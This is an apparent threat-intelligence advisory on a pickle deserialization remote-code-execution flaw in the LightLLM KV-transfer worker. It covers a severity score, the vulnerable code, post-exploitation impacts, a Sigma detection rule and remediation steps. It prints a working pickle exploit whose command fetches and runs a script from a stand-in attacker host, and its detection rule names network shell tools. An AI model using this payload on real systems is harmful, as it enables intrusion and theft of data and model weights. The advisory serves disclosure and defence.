Skip to content

CVE-2026-96560: ModelTC LightLLM Insecure Pickle Deserialization to Pre-Auth Remote Code Execution

Density:
HERMES

HERMES THREAT SCORE & GPU INFERENCE CLUSTER EXPOSURE

Target: ModelTC LightLLM - KV-Transfer Worker (RPyC Control Channel)
Confidence: 99%
95 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 18 / 20
Weaponization 19 / 20
Exposure 19 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v3.1 rates this flaw at 9.8 (Critical). The Hermes Threat Score confirms this severity at 95 (CRITICAL). LightLLM is an enterprise-grade, high-throughput LLM serving engine deployed in distributed cloud environments. When configured with prefill-decode disaggregation (--pd_trans_mode nccl), the internal KV-transfer worker binds an unauthenticated RPyC RPC server. Because RPyC deserializes client payloads using Python's native pickle module without authentication or HMAC validation, any network adjacent entity or compromised sidecar can execute arbitrary shell commands with GPU host privileges, intercept in-flight prompt KV-caches, and steal foundational model weights.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-96560: ModelTC LightLLM Insecure Pickle Deserialization to Pre-Auth Remote Code ExecutionVULNERABILITY

Connected Nodes: 2
Active Relationships (Outgoing)
→ affectsPRODUCTLightLLM Serving Framework
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in LightLLM Serving Framework documented in Hermes dossier.”

Supporting Verified Evidence:
Inbound Associations (Incoming)
CHAIN-2026-PEOPLESOFT-GATEWAYEXPLOIT CHAIN → uses → [This Entity]
96% VERY_HIGH

ModelTC LightLLM is a high-performance distributed serving framework optimized for open-weight Large Language Models (LLMs) such as Llama, Qwen, DeepSeek, and Mistral.

ParameterTechnical SpecificationOperational Impact
CVE IdentifierCVE-2026-96560International vulnerability tracking reference
Affected FrameworkModelTC LightLLMHigh-throughput distributed inference engine
Vulnerable ComponentKV-Transfer Worker (RPyC Control Plane)Inter-node KV-cache state synchronization
Vulnerable Versions<= 1.2.0Systems operating with --pd_trans_mode nccl
Flaw TypeCWE-502: Deserialization of Untrusted DataPre-auth Remote Code Execution (RCE)
Attack VectorNetwork (Internal Mesh / VPC Exposure)Malicious RPyC RPC invocation
Remediation ReleaseVersion 1.2.1Native protocol authentication & safe serialization

In standard monolithic LLM serving, both prompt computation (prefill) and auto-regressive generation (decode) compete for the same GPU compute cores and VRAM. Prefill-Decode (PD) disaggregation splits these roles across dedicated worker pools:

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ” โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ PREFILL WORKER โ”‚ โ”‚ DECODE WORKER โ”‚
โ”‚ (High Compute) โ”‚ โ”‚ (High Bandwidth) โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–ฒโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
โ”‚ โ”‚
โ”‚ 1. Compute Prompt KV-Cache โ”‚
โ”‚ 2. Coordinate via RPyC โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ–ผ โ”‚ โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ” โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ HIGH-SPEED NCCL INTERCONNECT โ”‚ โ”‚ ATTACKER REVERSE SHELL โ”‚
โ”‚ Direct GPU-to-GPU KV-Tensor Transfer โ”‚ โ”‚ Root access to GPU Host โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜ โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

When started with --pd_trans_mode nccl, the LightLLM worker initiates a listener:

# Vulnerable Pattern in LightLLM KV-Transfer Worker (<= 1.2.0)
from rpyc.utils.server import ThreadedServer
import pickle
class KVTransferService(rpyc.Service):
def exposed_sync_kv_metadata(self, raw_metadata_bytes):
# CRITICAL VULNERABILITY: Deserializing untrusted stream via pickle!
metadata = pickle.loads(raw_metadata_bytes)
return self._process_transfer(metadata)
def start_kv_worker(port=18888):
server = ThreadedServer(
KVTransferService,
port=port,
protocol_config={"allow_all_attrs": True} # Overly permissive RPyC configuration
)
server.start()

Pythonโ€™s pickle library is notoriously unsafe when processing untrusted input. The serialization protocol permits the definition of an objectโ€™s reconstruction logic via the __reduce__() method. When pickle.loads() encounters a tuple (callable, arguments), it executes the callable during reconstruction:

# Exploit Construct
import pickle
import os
class ExploitPayload(object):
def __reduce__(self):
# Arbitrary OS Command executed upon pickle.loads()
cmd = "curl -s http://attacker-c2.internal/stage2.sh | bash"
return (os.system, (cmd,))
serialized_payload = pickle.dumps(ExploitPayload())

Because the RPyC service neither authenticated connecting clients nor verified cryptographic HMAC signatures over serialized data, any client capable of routing packets to the KV-transfer port triggers immediate remote code execution.


  1. GPU VRAM & KV-Cache Extraction: By executing code on the inference host, adversaries gain access to the NVIDIA CUDA Unified Memory space via cudaMemcpy or /dev/nvidia* device nodes. This enables intercepting raw prompt histories, proprietary customer documents injected via RAG, and private system instructions across multi-tenant sessions.
  2. Model Weight Theft: Attackers can read local NVMe model caches (HuggingFace checkpoints, Safetensors) and exfiltrate proprietary model fine-tunes directly to cloud storage.
  3. Agent Infrastructure Lateral Movement: Inference nodes frequently hold high-privilege IAM instance profiles and Kubernetes service accounts with permissions to query vector databases, cloud secret stores, and orchestration APIs.
  4. Poisoning Inference Responses: An attacker can compromise the running weights in VRAM to silently alter model outputs, injecting backdoors or malicious tool invocations into autonomous AI agent workflows.

title: ModelTC LightLLM Insecure Deserialization RCE
id: cve-2026-96560-lightllm-rpyc-rce
status: experimental
description: Detects suspicious network connections to LightLLM KV-transfer RPyC ports followed by anomalous child process creation from Python inference daemons.
author: Hermes Codex Cyber Threat Intelligence
date: 2026-09-27
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-96560
- https://github.com/ModelTC/lightllm
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.006
logsource:
category: process_creation
product: linux
detection:
parent_process:
Image|endswith:
- '/python'
- '/python3'
CommandLine|contains:
- 'lightllm'
- '--pd_trans_mode'
- 'nccl'
suspicious_child:
Image|endswith:
- '/bin/sh'
- '/bin/bash'
- '/usr/bin/curl'
- '/usr/bin/wget'
- '/usr/bin/nc'
- '/usr/bin/python'
condition: parent_process and suspicious_child
level: critical

  1. Update to LightLLM Version 1.2.1: Upgrade the LightLLM container image or Python package to version 1.2.1 or newer, which deprecates pickle deserialization over network sockets in favor of safe JSON/Capโ€™n Proto serialization and enforces TLS authentication:

    Terminal window
    pip install --upgrade lightllm>=1.2.1
  2. Network Isolation & Kubernetes NetworkPolicies: If upgrading cannot be applied immediately, restrict access to the KV-transfer ports (18888-18900) strictly to designated internal worker pods:

    apiVersion: networking.k8s.io/v1
    kind: NetworkPolicy
    metadata:
    name: isolate-lightllm-kv-transfer
    namespace: ai-inference
    spec:
    podSelector:
    matchLabels:
    app: lightllm-worker
    ingress:
    - from:
    - podSelector:
    matchLabels:
    app: lightllm-prefill
    ports:
    - protocol: TCP
    port: 18888
  3. Disable Root Execution in Container Runtimes: Enforce non-root execution (securityContext.runAsNonRoot: true) and drop all capabilities (drop: ["ALL"]) except IPC_LOCK required for CUDA memory pinning.


WHAT HERMES DOES NOT KNOW (CVE-2026-96560) Principle P3 โ€” Epistemic Rigor
  • โœ• Global internet exposure count: The RPyC worker port is intended for internal VPC communication, but misconfigured Kubernetes LoadBalancers or hostNetwork configurations frequently expose it to public search engines (Censys/Shodan).
  • โœ• Active in-the-wild exploitation by named APT groups: While functional PoCs circulate in private researcher channels, telemetry has not yet recorded widespread opportunistic automated botnet activity on public IPv4 ranges.
  • โœ• Hardware-level persistence feasibility: Whether malicious shellcode executed via pickle deserialization can reflash GPU VBIOS or establish persistent rootkits in GPU firmware is currently unconfirmed.